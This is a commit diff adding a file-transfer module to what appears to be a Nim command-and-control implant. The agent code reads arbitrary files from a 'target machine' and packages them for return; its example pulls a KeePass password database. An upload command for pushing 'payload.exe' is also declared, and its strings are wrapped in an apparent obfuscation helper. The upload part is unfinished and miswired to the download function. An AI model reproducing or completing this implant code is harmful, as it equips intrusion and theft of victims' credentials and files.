Implemented simple download command.

src/modules/filetransfer.nim

@@ -0,0 +1,77 @@
+import ../common/[types, utils]
+
+# Define function prototype
+proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
+proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
+
+
+# Command definition (as seq[Command])
+let commands*: seq[Command] =  @[
+    Command(
+        name: protect("download"),
+        commandType: CMD_DOWNLOAD,
+        description: protect("Download a file."),
+        example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"),
+        arguments: @[
+            Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true),
+        ],
+        execute: executeDownload
+    ),
+    Command(
+        name: protect("upload"),
+        commandType: CMD_UPLOAD,
+        description: protect("Upload a file."),
+        example: protect("upload /path/to/payload.exe"),
+        arguments: @[
+            Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
+        ],
+        execute: executeDownload
+    )
+]
+
+# Implement execution functions
+when defined(server):
+    proc executeDownload(ctx: AgentCtx, task: Task): TaskResult = nil
+    proc executeUpload(ctx: AgentCtx, task: Task): TaskResult = nil
+
+when defined(agent):
+
+    import os, std/paths, strutils, strformat
+    import ../agent/protocol/result
+    import ../common/[utils, serialize]
+
+    proc executeDownload(ctx: AgentCtx, task: Task): TaskResult = 
+        try: 
+            var filePath: string = absolutePath(Bytes.toString(task.args[0].data)) 
+
+            echo fmt"   [>] Downloading {filePath}"
+
+            # Read file contents into memory and return them as the result 
+            var fileBytes = readFile(filePath)
+
+            # Create result packet for file download            
+            var packer = Packer.init() 
+
+            packer.add(uint32(filePath.len()))
+            packer.addData(string.toBytes(filePath))
+            packer.add(uint32(fileBytes.len()))
+            packer.addData(string.toBytes(fileBytes))
+
+            let result = packer.pack() 
+
+            return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, result)
+
+        except CatchableError as err: 
+            return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
+
+
+    proc executeUpload(ctx: AgentCtx, task: Task): TaskResult = 
+        try: 
+            var fileBytes: seq[byte] = task.args[0].data
+
+            
+
+
+
+        except CatchableError as err: 
+            return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))